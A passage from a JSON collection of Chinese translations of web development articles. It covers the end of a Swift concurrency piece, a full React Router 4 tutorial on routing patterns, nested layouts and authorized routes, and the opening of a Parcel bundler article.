API。它们使用并发队列和模型任务作为操作，这样做可以轻松的取消操作，而且能让他们的执行依赖于其他操作的完成。\n\n操作能定义一个执行顺序的优先级，被添加到 `OperationQueues`里异步执行。\n\n我们看一个基础的例子：\n\n```\n\nvar queue = OperationQueue()\nqueue.name = \"My Custom Queue\"queue.maxConcurrentOperationCount = 2\n\nvar mainqueue = OperationQueue.main //Refers to the queue of the main threadqueue.addOperation{\n    print(\"Op1\")\n}\nqueue.addOperation{\n    print(\"Op2\")\n}\n\n```\n\n我们也可以创建一个**阻塞操作**对象，然后在加入队列之前配置它，如有需要，我们也可以向这种操作添加多个闭包。\n\n要注意的是，在 Swift 中不允许 `NSInvocationOperation` 使用目标+选择器创建操作。\n\n```\nvar op3 = BlockOperation(block: {\n    print(\"Op3\")\n})\nop3.queuePriority = .veryHigh\nop3.completionBlock = {\n    if op3.isCancelled {\n        print(\"Someone cancelled me.\")\n    }\n    print(\"Completed Op3\")\n}\n\nvar op4 = BlockOperation {\n    print(\"Op4 always after Op3\")\n    OperationQueue.main.addOperation{\n        print(\"I'm on main queue!\")\n    }\n}\n\n```\n\n操作可以有主次优先级，一旦主优先级完成，次优先级才会执行。\n\n我们可以从 `op4` 添加一个依赖关系到 `op3`，这样 `op4` 会等待 `op3` 的完成再执行。\n\n```\n\nop4.addDependency(op3)\n\nqueue.addOperation(op4)  // op3 will complete before op4, alwaysqueue.addOperation(op3)\n\n```\n\n依赖也可以通过 `removeDependency(operation:)` 移除，被存储到一个公共可访问的 `dependencies` 数组里。\n\n当前操作的状态可以通过特定的属性查看：\n\n```\n\nop3.isReady       //Ready for execution?\nop3.isExecuting   //Executing now?\nop3.isFinished    //Finished naturally or cancelled?\nop3.isCancelled    //Manually cancelled?\n```\n\n你可以调用 `cancelAllOperations` 方法，取消队列中所有的当前操作，这个方法会设置队列中剩余操作的 `isCancelled` 属性。一个单独的操作可以通过调用它的 `cancel` 方法来取消：\n\n```\nqueue.cancelAllOperations() \n\nop3.cancel()\n\n```\n\n如果在计划运行队列之后取消操作，建议您检查操作中的 `isCancelled` 属性，跳过执行。\n\n最后要说是，你也可以停止操作队列上执行新的操作（正在执行的操作不会受到影响）：\n\n```\nqueue.isSuspended = true\n```\n\n#### **本文或其他文章的 playground 可以在 [GitHub](https://github.com/uraimo/Swift-Playgrounds) 或 [Zipped](/archives/2017-05-07-ConcurrencyInSwift.playground.zip) 找到。** ####\n\n## 闭幕后的思考 ##\n\n本文可以说是从 Swift 可用的外部并发框架的视角，给出一个很好的总结。\n\n第二部分将重点介绍下一步可能在语言中出现的处理并发的“原生”功能，而不需要借助外部库。通过目前的一些开源实现来讲述几个有意思的范例。\n\n我希望这两篇文章能够对并发世界做一个很好的介绍，并且将帮助你了解和参与在急速发展的邮件列表中的讨论，在社区开始考虑将要介绍的内容时，我们一起期待 Swift 5 的到来。\n\n关于并发和 Swift 的更多有趣内容，请看 [Cocoa With Love](https://www.cocoawithlove.com/tags/asynchrony.html) 的博客。\n\n你喜欢这篇文章吗？让我[在推特](https://www.twitter.com/uraimo)上看到你！\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/all-about-react-router-4.md",
    "content": "\r\n  > * 原文地址：[All About React Router 4](https://css-tricks.com/react-router-4/)\r\n  > * 原文作者：[BRAD WESTFALL](https://css-tricks.com/author/bradwestfall/)\r\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\r\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/all-about-react-router-4.md](https://github.com/xitu/gold-miner/blob/master/TODO/all-about-react-router-4.md)\r\n  > * 译者：[undead25](https://github.com/undead25)\r\n  > * 校对者：[sunui](https://github.com/sunui)、[LouisaNikita](https://github.com/LouisaNikita)\r\n\r\n  # 关于 React Router 4 的一切\r\n\r\n  我在 React Rally 2016 大会上第一次遇到了 [Michael Jackson](https://twitter.com/mjackson)，不久之后便写了一篇 [an article on React Router 3](https://css-tricks.com/learning-react-router/)。Michael 与 [Ryan Florence](https://twitter.com/ryanflorence) 都是 React Router 的主要作者。遇到一位我非常喜欢的工具的创建者是激动人心的，但当他这么说的时候，我感到很震惊。“让我向你们展示我们在 React Router 4 的想法，它的**方式**是截然不同的！”。老实说，我真的不明白新的方向以及为什么它需要如此大的改变。由于路由是应用程序架构的重要组成部分，因此这可能会改变一些我喜欢的模式。这些改变的想法让我很焦虑。考虑到社区凝聚力以及 React Router 在这么多的 React 应用程序中扮演着重要的角色，我不知道社区将如何接受这些改变。\r\n\r\n几个月后，[React Router 4](https://reacttraining.com/react-router/) 发布了，仅仅从 Twitter 的嗡嗡声中我便得知，大家对于这个重大的重写存在着不同的想法。这让我想起了第一个版本的 React Router 针对其渐进概念的推回。在某些方面，早期版本的 React Router 符合我们传统的思维模式，即一个应用的路由“应该”将所有的路由规则放在一个地方。然而，并不是每个人都接受使用嵌套的 JSX 路由。但就像 JSX 自身说服了批评者一样（至少是大多数），许多人转而相信嵌套的 JSX 路由是很酷的想法。\r\n\r\n如是，我学习了 React Router 4。无可否认，第一天是挣扎的。挣扎的倒不是其 API，而更多的是使用它的模式和策略。我使用 React Router 3 的思维模式并没有很好地迁移到 v4。如果要成功，我将不得不改变我对路由和布局组件之间的关系的看法。最终，出现了对我有意义的新模式，我对路由的新方向感到非常高兴。React Router 4 不仅包含 v3 的所有功能，而且还有新的功能。此外，起初我对 v4 的使用过于复杂。一旦我获得了一个新的思维模式，我就意识到这个新的方向是惊人的！\r\n\r\n本文的意图并不是重复 React Router 4 [已经写得很好的文档](https://reacttraining.com/react-router/)。我将介绍最常见的 API，但真正的重点是我发现的成功模式和策略。\r\n\r\n对于本文，以下是一些你需要熟悉的 JavaScript 概念:\r\n\r\n- React [（无状态）函数组件](https://facebook.github.io/react/docs/components-and-props.html)\r\n- ES2015 [箭头函数](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions) 以及它们的“隐式返回”\r\n- ES2015 [解构](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment)\r\n- ES2015 [模板字符串](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals)\r\n\r\n如果你喜欢跳转到演示区的话，请点这里：\r\n\r\n[查看演示](https://codepen.io/bradwestfall/project/editor/XWNWge/?preview_height=50&amp;open_file=src/app.js)\r\n\r\n### 新的 API 和新的思维模式\r\n\r\nReact Router 的早期版本将路由规则集中在一个位置，使它们与布局组件分离。当然，路由可以被划分成多个文件，但从概念上讲，路由是一个单元，基本上是一个美化的配置文件。\r\n\r\n或许了解 v4 不同之处的最好方法是用每个版本编写一个简单的两页应用程序并进行比较。示例应用程序只有两个路由，对应首页和用户页面。\r\n\r\n这里是 v3 的：\r\n\r\n```jsx\r\nimport { Router, Route, IndexRoute } from 'react-router'\r\n\r\nconst PrimaryLayout = props => (\r\n  <div className=\"primary-layout\">\r\n    <header>\r\n      Our React Router 3 App\r\n    </header>\r\n    <main>\r\n      {props.children}\r\n    </main>\r\n  </div>\r\n)\r\n\r\nconst HomePage =() => <div>Home Page</div>\r\nconst UsersPage = () => <div>Users Page</div>\r\n\r\nconst App = () => (\r\n  <Router history={browserHistory}>\r\n    <Route path=\"/\" component={PrimaryLayout}>\r\n      <IndexRoute component={HomePage} />\r\n      <Route path=\"/users\" component={UsersPage} />\r\n    </Route>\r\n  </Router>\r\n)\r\n\r\nrender(<App />, document.getElementById('root'))\r\n```\r\n\r\n以下是 v3 中的一些核心思想，但在 v4 中是不正确的:\r\n\r\n- 路由集中在一个地方。\r\n- 布局和页面嵌套是通过 `<Route>` 组件的嵌套而来的。\r\n- 布局和页面组件是完全纯粹的，它们是路由的一部分。\r\n\r\nReact Router 4 不再主张集中式路由了。相反，路由规则位于布局和 UI 本身之间。例如，以下是 v4 中的相同的应用程序：\r\n\r\n```jsx\r\nimport { BrowserRouter, Route } from 'react-router-dom'\r\n\r\nconst PrimaryLayout = () => (\r\n  <div className=\"primary-layout\">\r\n    <header>\r\n      Our React Router 4 App\r\n    </header>\r\n    <main>\r\n      <Route path=\"/\" exact component={HomePage} />\r\n      <Route path=\"/users\" component={UsersPage} />\r\n    </main>\r\n  </div>\r\n)\r\n\r\nconst HomePage =() => <div>Home Page</div>\r\nconst UsersPage = () => <div>Users Page</div>\r\n\r\nconst App = () => (\r\n  <BrowserRouter>\r\n    <PrimaryLayout />\r\n  </BrowserRouter>\r\n)\r\n\r\nrender(<App />, document.getElementById('root'))\r\n```\r\n\r\n**新的 API 概念**：由于我们的应用程序是用于浏览器的，所以我们需要将它封装在来自 v4 的 `BrowserRouter` 中。还要注意的是我们现在从 `react-router-dom` 中导入它（这意味着我们安装的是 `react-router-dom` 而不是 `react-router`）。提示！现在叫做 `react-router-dom` 是因为还有一个 [native 版本](https://reacttraining.com/react-router/native)。\r\n\r\n对于使用 React Router v4 构建的应用程序，首先看到的是“路由”似乎丢失了。在 v3 中，路由是我们的应用程序直接呈现给 DOM 的最巨大的东西。 现在，除了 `<BrowserRouter>` 外，我们首先抛给 DOM 的是我们的应用程序本身。\r\n\r\n另一个在 v3 的例子中有而在 v4 中没有的是，使用 `{props.children}` 来嵌套组件。这是因为在 v4 中，`<Route>` 组件在何处编写，如果路由匹配，子组件将在那里渲染。\r\n\r\n### 包容性路由\r\n\r\n在前面的例子中，你可能已经注意到了 `exact` 这个属性。那么它是什么呢？V3 的路由规则是“排他性”的，这意味着只有一条路由将获胜。V4 的路由默认为“包含”的，这意味着多个 `<Route>` 可以同时进行匹配和渲染。\r\n\r\n在上一个例子中，我们试图根据路径渲染 `HomePage` 或者 `UsersPage`。如果从示例中删除了 `exact` 属性，那么在浏览器中访问 `/users` 时，`HomePage` 和 `UsersPage` 组件将同时被渲染。\r\n\r\n要更好地了解匹配逻辑，请查看 [path-to-regexp](https://www.npmjs.com/package/path-to-regexp)，这是 v4 现在正在使用的，以确定路由是否匹配 URL。\r\n\r\n为了演示包容性路由是有帮助的，我们在标题中包含一个 `UserMenu`，但前提是我们在应用程序的用户部分：\r\n\r\n```jsx\r\nconst PrimaryLayout = () => (\r\n  <div className=\"primary-layout\">\r\n    <header>\r\n      Our React Router 4 App\r\n      <Route path=\"/users\" component={UsersMenu} />\r\n    </header>\r\n    <main>\r\n      <Route path=\"/\" exact component={HomePage} />\r\n      <Route path=\"/users\" component={UsersPage} />\r\n    </main>\r\n  </div>\r\n)\r\n```\r\n\r\n现在，当用户访问 `/users` 时，两个组件都会渲染。类似这样的事情在 v3 中通过特定的匹配模式也是可行的，但它更复杂。得益于 v4 的包容性路由，现在能够很轻松地实现。\r\n\r\n### 排他性路由\r\n\r\n如果你只需要在路由列表里匹配一个路由，则使用 `<Switch>` 来启用排他路由：\r\n\r\n```jsx\r\nconst PrimaryLayout = () => (\r\n  <div className=\"primary-layout\">\r\n    <PrimaryHeader />\r\n    <main>\r\n      <Switch>\r\n        <Route path=\"/\" exact component={HomePage} />\r\n        <Route path=\"/users/add\" component={UserAddPage} />\r\n        <Route path=\"/users\" component={UsersPage} />\r\n        <Redirect to=\"/\" />\r\n      </Switch>\r\n    </main>\r\n  </div>\r\n)\r\n```\r\n\r\n在给定的 `<Switch>` 路由中只有一条将渲染。在 `HomePage` 路由上，我们仍然需要 `exact` 属性，尽管我们会先把它列出来。否则，当访问诸如 `/users` 或 `/users/add` 的路径时，主页路由也将匹配。事实上，战略布局是使用排他路由策略（因为它总是像传统路由那样使用）时的关键。请注意，我们在 `/users` 之前策略性地放置了 `/users/add` 的路由，以确保正确匹配。由于路径 `/users/add` 将匹配 `/users` 和 `/users/add`，所以最好先把 `/users/add` 放在前面。\r\n\r\n当然，如果我们以某种方式使用 `exact`，我们可以把它们放在任何顺序上，但至少我们有选择。\r\n\r\n如果遇到，`<Redirect>` 组件将会始终执行浏览器重定向，但是当它位于 `<Switch>` 语句中时，只有在其他路由不匹配的情况下，才会渲染重定向组件。想了解在非切换环境下如何使用 `<Redirect>`，请参阅下面的**授权路由**。\r\n\r\n### “默认路由”和“未找到”\r\n\r\n尽管在 v4 中已经没有 `<IndexRoute>` 了，但可以使用 `<Route exact>` 来达到同样的效果。如果没有路由解析，则可以使用 `<Switch>` 与 `<Redirect>` 重定向到具有有效路径的默认页面（如同我对本示例中的 `HomePage` 所做的），甚至可以是一个“未找到页面”。\r\n\r\n### 嵌套布局\r\n\r\n你可能开始期待嵌套子布局，以及如何实现它们。我原本不认为我会纠结这个概念，但我确实纠结了。React Router v4 给了我们很多选择，这使它变得很强大。但是，选择意味着有选择不理想策略的自由。表面上看，嵌套布局很简单，但根据你的选择，可能会因为你组织路由的方式而遇到阻碍。\r\n\r\n为了演示，假设我们想扩展我们的用户部分，所以我们会有一个“用户列表”页面和一个“用户详情”页面。我们也希望产品也有类似的页面。用户和产品都需要其个性化的子布局。例如，每个可能都有不同的导航选项卡。有几种方法可以解决这个问题，有的好，有的不好。第一种方法不是很好，但我想告诉你，这样你就不会掉入这个陷阱。第二种方法要好很多。\r\n\r\n第一种方法，我们修改 `PrimaryLayout`，以适应用户和产品对应的列表及详情页面：\r\n\r\n```jsx\r\nconst PrimaryLayout = props => {\r\n  return (\r\n    <div className=\"primary-layout\">\r\n      <PrimaryHeader />\r\n      <main>\r\n        <Switch>\r\n          <Route path=\"/\" exact component={HomePage} />\r\n          <Route path=\"/users\" exact component={BrowseUsersPage} />\r\n          <Route path=\"/users/:userId\" component={UserProfilePage} />\r\n          <Route path=\"/products\" exact component={BrowseProductsPage} />\r\n          <Route path=\"/products/:productId\" component={ProductProfilePage} />\r\n          <Redirect to=\"/\" />\r\n        </Switch>\r\n      </main>\r\n    </div>\r\n  )\r\n}\r\n```\r\n\r\n虽然这在技术上可行的，但仔细观察这两个用户页面就会发现问题：\r\n\r\n```jsx\r\nconst BrowseUsersPage = () => (\r\n  <div className=\"user-sub-layout\">\r\n    <aside>\r\n      <UserNav />\r\n    </aside>\r\n    <div className=\"primary-content\">\r\n      <BrowseUserTable />\r\n    </div>\r\n  </div>\r\n)\r\n\r\nconst UserProfilePage = props => (\r\n  <div className=\"user-sub-layout\">\r\n    <aside>\r\n      <UserNav />\r\n    </aside>\r\n    <div className=\"primary-content\">\r\n      <UserProfile userId={props.match.params.userId} />\r\n    </div>\r\n  </div>\r\n)\r\n```\r\n\r\n**新 API 概念**：`props.match` 被赋到由 `<Route>` 渲染的任何组件。你可以看到，`userId` 是由 `props.match.params` 提供的，了解更多请参阅 [v4 文档](https://reacttraining.com/react-router/web/example/url-params)。或者，如果任何组件需要访问 `props.match`，而这个组件没有由 `<Route>` 直接渲染，那么我们可以使用 [withRouter()](https://reacttraining.com/react-router/web/api/withRouter) 高阶组件。\r\n\r\n每个用户页面不仅要渲染其各自的内容，而且还必须关注子布局本身（并且每个子布局都是重复的）。虽然这个例子很小，可能看起来微不足道，但重复的代码在一个真正的应用程序中可能是一个问题。更不用说，每次 `BrowseUsersPage` 或 `UserProfilePage` 被渲染时，它将创建一个新的 `UserNav` 实例，这意味着所有的生命周期方法都将重新开始。如果导航标签需要初始网络流量，这将导致不必要的请求 —— 这都是我们决定使用路由的方式造成的。\r\n\r\n这里有另一种更好的方法：\r\n\r\n```jsx\r\nconst PrimaryLayout = props => {\r\n  return (\r\n    <div className=\"primary-layout\">\r\n      <PrimaryHeader />\r\n      <main>\r\n        <Switch>\r\n          <Route path=\"/\" exact component={HomePage} />\r\n          <Route path=\"/users\" component={UserSubLayout} />\r\n          <Route path=\"/products\" component={ProductSubLayout} />\r\n          <Redirect to=\"/\" />\r\n        </Switch>\r\n      </main>\r\n    </div>\r\n  )\r\n}\r\n```\r\n\r\n与每个用户和产品页面相对应的四条路由不同，我们为每个部分的布局提供了两条路由。\r\n\r\n请注意，上述示例没有使用 `exact` 属性，因为我们希望 `/users` 匹配任何以 `/users` 开头的路由，同样适用于产品。\r\n\r\n通过这种策略，渲染其它路由将成为子布局的任务。`UserSubLayout` 可能如下所示：\r\n\r\n```jsx\r\nconst UserSubLayout = () => (\r\n  <div className=\"user-sub-layout\">\r\n    <aside>\r\n      <UserNav />\r\n    </aside>\r\n    <div className=\"primary-content\">\r\n      <Switch>\r\n        <Route path=\"/users\" exact component={BrowseUsersPage} />\r\n        <Route path=\"/users/:userId\" component={UserProfilePage} />\r\n      </Switch>\r\n    </div>\r\n  </div>\r\n)\r\n```\r\n\r\n新策略中最明显的胜出在于所有用户页面之间的不重复布局。这是一个双赢，因为它不会像第一个示例那样具有相同生命周期的问题。\r\n\r\n有一点需要注意的是，即使我们在布局结构中深入嵌套，路由仍然需要识别它们的完整路径才能匹配。为了节省重复输入（以防你决定将“用户”改为其他内容），请改用 `props.match.path`：\r\n\r\n```jsx\r\nconst UserSubLayout = props => (\r\n  <div className=\"user-sub-layout\">\r\n    <aside>\r\n      <UserNav />\r\n    </aside>\r\n    <div className=\"primary-content\">\r\n      <Switch>\r\n        <Route path={props.match.path} exact component={BrowseUsersPage} />\r\n        <Route path={`${props.match.path}/:userId`} component={UserProfilePage} />\r\n      </Switch>\r\n    </div>\r\n  </div>\r\n)\r\n```\r\n\r\n### 匹配\r\n\r\n到目前为止，`props.match` 对于知道详情页面渲染的 `userId` 以及如何编写我们的路由是很有用的。`match` 对象给我们提供了几个属性，包括 `match.params`、`match.path`、`match.url` 和[其他几个](https://reacttraining.com/react-router/web/api/match)。\r\n\r\n#### **match.path** vs **match.url**\r\n\r\n起初这两者之间的区别似乎并不清楚。控制台日志有时会显示相同的输出，这使得它们之间的差异更加模糊。例如，当浏览器路径为 `/users` 时，它们在控制台日志将输出相同的值：\r\n\r\n```jsx\r\nconst UserSubLayout = ({ match }) => {\r\n  console.log(match.url)   // 输出：\"/users\"\r\n  console.log(match.path)  // 输出：\"/users\"\r\n  return (\r\n    <div className=\"user-sub-layout\">\r\n      <aside>\r\n        <UserNav />\r\n      </aside>\r\n      <div className=\"primary-content\">\r\n        <Switch>\r\n          <Route path={match.path} exact component={BrowseUsersPage} />\r\n          <Route path={`${match.path}/:userId`} component={UserProfilePage} />\r\n        </Switch>\r\n      </div>\r\n    </div>\r\n  )\r\n}\r\n```\r\n\r\n**ES2015 概念：** `match` 在组件函数的参数级别将被[解构](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment)。\r\n\r\n虽然我们看不到差异，但 `match.url` 是浏览器 URL 中的实际路径，而 `match.path` 是为路由编写的路径。这就是为什么它们是一样的，至少到目前为止。但是，如果我们更进一步，在 `UserProfilePage` 中进行同样的控制台日志操作，并在浏览器中访问 `/users/5`，那么 `match.url` 将是 `\"/users/5\"` 而 `match.path` 将是 `\"/users/:userId\"`。\r\n\r\n### 选择哪一个？\r\n\r\n如果你要使用其中一个来帮助你构建路由路径，我建议你选择 `match.path`。使用 `match.url` 来构建路由路径最终会导致你不想看到的场景。下面是我遇到的一个情景。在一个像 `UserProfilePage`（当用户访问 `/users/5` 时渲染）的组件中，我渲染了如下这些子组件：\r\n\r\n```jsx\r\nconst UserComments = ({ match }) => (\r\n  <div>UserId: {match.params.userId}</div>\r\n)\r\n\r\nconst UserSettings = ({ match }) => (\r\n  <div>UserId: {match.params.userId}</div>\r\n)\r\n\r\nconst UserProfilePage = ({ match }) => (\r\n  <div>\r\n    User Profile:\r\n    <Route path={`${match.url}/comments`} component={UserComments} />\r\n    <Route path={`${match.path}/settings`} component={UserSettings} />\r\n  </div>\r\n)\r\n```\r\n\r\n为了说明问题，我渲染了两个子组件，一个路由路径来自于 `match.url`，另一个来自 `match.path`。以下是在浏览器中访问这些页面时所发生的事情:\r\n\r\n- 访问 `/users/5/comments` 渲染 \"UserId: undefined\"。\r\n- 访问 `/users/5/settings` 渲染 \"UserId: 5\"。\r\n\r\n那么为什么 `match.path` 可以帮助我们构建路径 而 `match.url` 则不可以呢？答案就是这样一个事实：`{${match.url}/comments}` 基本上就像和硬编码的 `{'/users/5/comments'}` 一样。这样做意味着后续组件将无法正确地填充 `match.params`，因为路径中没有参数，只有硬编码的 `5`。\r\n\r\n直到后来我看到[文档的这一部分](https://reacttraining.com/react-router/core/api/match)，才意识到它有多重要：\r\n\r\n> match:\r\n>\r\n> - path - (`string`) 用于匹配路径模式。**用于构建嵌套的 `<Route>`**\r\n> - url - (`string`) URL 匹配的部分。 **用于构建嵌套的 `<Link>`**\r\n\r\n### 避免匹配冲突\r\n\r\n假设我们制作的应用程序是一个仪表版，所以我们希望能够通过访问 `/users/add` 和 `/users/5/edit` 来新增和编辑用户。但是在前面的例子中，`users/:userId` 已经指向了 `UserProfilePage`。那么这是否意味着带有`users/:userId` 的路由现在需要指向另一个子子布局来容纳编辑页面和详情页面？我不这么认为，因为编辑和详情页面共享相同的用户子布局，所以这个策略是可行的：\r\n\r\n```jsx\r\nconst UserSubLayout = ({ match }) => (\r\n  <div className=\"user-sub-layout\">\r\n    <aside>\r\n      <UserNav />\r\n    </aside>\r\n    <div className=\"primary-content\">\r\n      <Switch>\r\n        <Route exact path={props.match.path} component={BrowseUsersPage} />\r\n        <Route path={`${match.path}/add`} component={AddUserPage} />\r\n        <Route path={`${match.path}/:userId/edit`} component={EditUserPage} />\r\n        <Route path={`${match.path}/:userId`} component={UserProfilePage} />\r\n      </Switch>\r\n    </div>\r\n  </div>\r\n)\r\n```\r\n\r\n请注意，为了确保进行适当的匹配，新增和编辑路由需要战略性地放在详情路由之前。如果详情路径在前面，那么访问 `/users/add` 时将匹配详情（因为 \"add\" 将匹配 `:userId`）。\r\n\r\n或者，如果我们这样创建路径 `${match.path}/:userId(\\\\d+)`，来确保 `:userId` 必须是一个数字，那么我们可以先放置详情路由。然后访问 `/users/add` 将不会产生冲突。这是我在 [path-to-regexp](https://github.com/pillarjs/path-to-regexp#custom-match-parameters) 的文档中学到的技巧。\r\n\r\n### 授权路由\r\n\r\n在应用程序中，通常会根据用户的登录状态来限制用户访问某些路由。对于未经授权的页面（如“登录”和“忘记密码”）与已授权的页面（应用程序的主要部分）看起来不一样也是常见的。为了解决这些需求，需要考虑一个应用程序的主要入口点：\r\n\r\n```jsx\r\nclass App extends React.Component {\r\n  render() {\r\n    return (\r\n      <Provider store={store}>\r\n        <BrowserRouter>\r\n          <Switch>\r\n            <Route path=\"/auth\" component={UnauthorizedLayout} />\r\n            <AuthorizedRoute path=\"/app\" component={PrimaryLayout} />\r\n          </Switch>\r\n        </BrowserRouter>\r\n      </Provider>\r\n    )\r\n  }\r\n}\r\n```\r\n\r\n使用 [react-redux](https://github.com/reactjs/react-redux) 与 React Router v4 非常类似，就像之前一样，只需将 `BrowserRouter` 包在 `<Provider>` 中即可。\r\n\r\n通过这种方法可以得到一些启发。第一个是根据我们所在的应用程序的哪个部分，在两个顶层布局之间进行选择。像访问 `/auth/login` 或 `/auth/forgot-password` 这样的路径会使用 `UnauthorizedLayout` —— 一个看起来适于这种情况的布局。当用户登录时，我们将确保所有路径都有一个 `/app` 前缀，它使用 `AuthorizedRoute` 来确定用户是否登录。如果用户在没有登录的情况下，尝试访问以 `/app` 开头的页面，那么将被重定向到登录页面。\r\n\r\n虽然 `AuthorizedRoute` 不是 v4 的一部分，但是我[在 v4 文档的帮助下](https://reacttraining.com/react-router/web/example/auth-workflow)自己写了。v4 中一个惊人的新功能是能够为特定的目的创建你自己的路由。它不是将 `component` 的属性传递给 `<Route>`，而是传递一个 `render` 回调函数：\r\n\r\n```jsx\r\nclass AuthorizedRoute extends React.Component {\r\n  componentWillMount() {\r\n    getLoggedUser()\r\n  }\r\n\r\n  render() {\r\n    const { component: Component, pending, logged, ...rest } = this.props\r\n    return (\r\n      <Route {...rest} render={props => {\r\n        if (pending) return <div>Loading...</div>\r\n        return logged\r\n          ? <Component {...this.props} />\r\n          : <Redirect to=\"/auth/login\" />\r\n      }} />\r\n    )\r\n  }\r\n}\r\n\r\nconst stateToProps = ({ loggedUserState }) => ({\r\n  pending: loggedUserState.pending,\r\n  logged: loggedUserState.logged\r\n})\r\n\r\nexport default connect(stateToProps)(AuthorizedRoute)\r\n```\r\n\r\n可能你的登录策略与我的不同，我是使用网络请求来 `getLoggedUser()`，并将 `pending` 和 `logged` 插入 Redux 的状态中。`pending` 仅表示在路由中请求仍在继续。\r\n\r\n点击此处查看 CodePen 上完整的[身份验证示例](https://codepen.io/bradwestfall/project/editor/XWNWge/?preview_height=50&amp;open_file=src/app.js)。 \r\n\r\n[![](https://res.cloudinary.com/css-tricks/image/upload/f_auto,q_auto/v1502066098/rr4_jmydzy.gif)](https://codepen.io/bradwestfall/project/editor/XWNWge/?preview_height=50&amp;open_file=src/app.js)\r\n\r\n### 其他提示\r\n\r\nReact Router v4 还有很多其他很酷的方面。最后，一定要提几件小事，以免到时它们让你措手不及。\r\n\r\n#### **`<Link>`** vs **`<NavLink>`**\r\n\r\n在 v4 中，有两种方法可以将锚标签与路由集成：[`<Link>`](https://reacttraining.com/react-router/web/api/Link) 和 [`<NavLink>`](https://reacttraining.com/react-router/web/api/NavLink)\r\n\r\n`<NavLink>` 与 `<Link>` 一样，但如果 `<NavLink>` 匹配浏览器的 URL，那么它可以提供一些额外的样式能力。例如，在[示例应用程序](https://codepen.io/bradwestfall/project/editor/XWNWge/#)中，有一个`<PrimaryHeader>` 组件看起来像这样：\r\n\r\n```jsx\r\nconst PrimaryHeader = () => (\r\n  <header className=\"primary-header\">\r\n    <h1>Welcome to our app!</h1>\r\n    <nav>\r\n      <NavLink to=\"/app\" exact activeClassName=\"active\">Home</NavLink>\r\n      <NavLink to=\"/app/users\" activeClassName=\"active\">Users</NavLink>\r\n      <NavLink to=\"/app/products\" activeClassName=\"active\">Products</NavLink>\r\n    </nav>\r\n  </header>\r\n)\r\n```\r\n\r\n使用 `<NavLink>` 可以让我给任何一个激活的链接设置一个 `active` 样式。而且，需要注意的是，我也可以给它们添加 `exact` 属性。如果没有 `exact`，由于 v4 的包容性匹配策略，那么在访问 `/app/users` 时，主页的链接将处于激活中。就个人经历而言，`NavLink` 带 `exact` 属性等价于 v3 的 `<link>`，而且更稳定。\r\n\r\n#### URL 查询字符串\r\n\r\n再也无法从 React Router v4 中获取 URL 的查询字符串了。在我看来，[做这个决定](https://github.com/ReactTraining/react-router/issues/4410)是因为没有关于如何处理复杂查询字符串的标准。所以，他们决定让开发者去选择如何处理查询字符串，而不是将其作为一个选项嵌入到 v4 的模块中。这是一件好事。\r\n\r\n就个人而言，我使用的是 [query-string](https://www.npmjs.com/package/query-string)，它是由 [sindresorhus](https://twitter.com/sindresorhus) 大神写的。\r\n\r\n#### 动态路由\r\n\r\n关于 v4 最好的部分之一是几乎所有的东西（包括 `<Route>`）只是一个 React 组件。路由不再是神奇的东西了。我们可以随时随地渲染它们。想象一下，当满足某些条件时，你的应用程序的整个部分都可以路由到。当这些条件不满足时，我们可以移除路由。甚至我们可以做一些疯狂而且很酷的[递归路由](https://reacttraining.com/react-router/web/example/recursive-paths)。\r\n\r\n因为它 [Just Components™](https://youtu.be/Mf0Fy8iHp8k?t=3m22s)，React Router 4 更简单了。\r\n\r\n\r\n  ---\r\n\r\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\r\n  "
  },
  {
    "path": "TODO/all-you-need-to-know-about-parce.md",
    "content": "> * 原文地址：[Everything You Need To Know About Parcel: The Blazing Fast Web App Bundler 🚀](https://medium.freecodecamp.org/all-you-need-to-know-about-parcel-dbe151b70082)\n> * 原文作者：[Indrek Lasn](https://medium.freecodecamp.org/@wesharehoodies?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/all-you-need-to-know-about-parce.md](https://github.com/xitu/gold-miner/blob/master/TODO/all-you-need-to-know-about-parce.md)\n> * 译者：[Fatezeros](https://github.com/fatezeros)\n> * 校对者：[MechanicianW](https://github.com/MechanicianW) [tvChan](https://github.com/tvChan)\n\n# 关于 Parcel 你所需要知道的一切：快速的 Web 应用打包工具 🚀\n\n![](https://cdn-images-1.medium.com/max/800/1*-Tcq85crClCEu_gYzn06gg.gif)\n\n**真的吗?** 又一个打包/构建工具? 是的 —— 你应该相信, 进步和创新相结合给你带来了 [Parcel](https://parceljs.org/)。\n\n![](https://cdn-images-1.medium.com/max/800/1*Gjhk6qvPM5zAy1iPPS1ttg.png)\n\n#### **Parcel 有什么特别的，我为什么要关心呢？**\n\n当 webpack 以高复杂性的代价给我们带来了很多配置的时候 —— **Parcel 却很简单**。它号称“零配置\"。\n\n**揭开上面的疑惑** —— Parcel 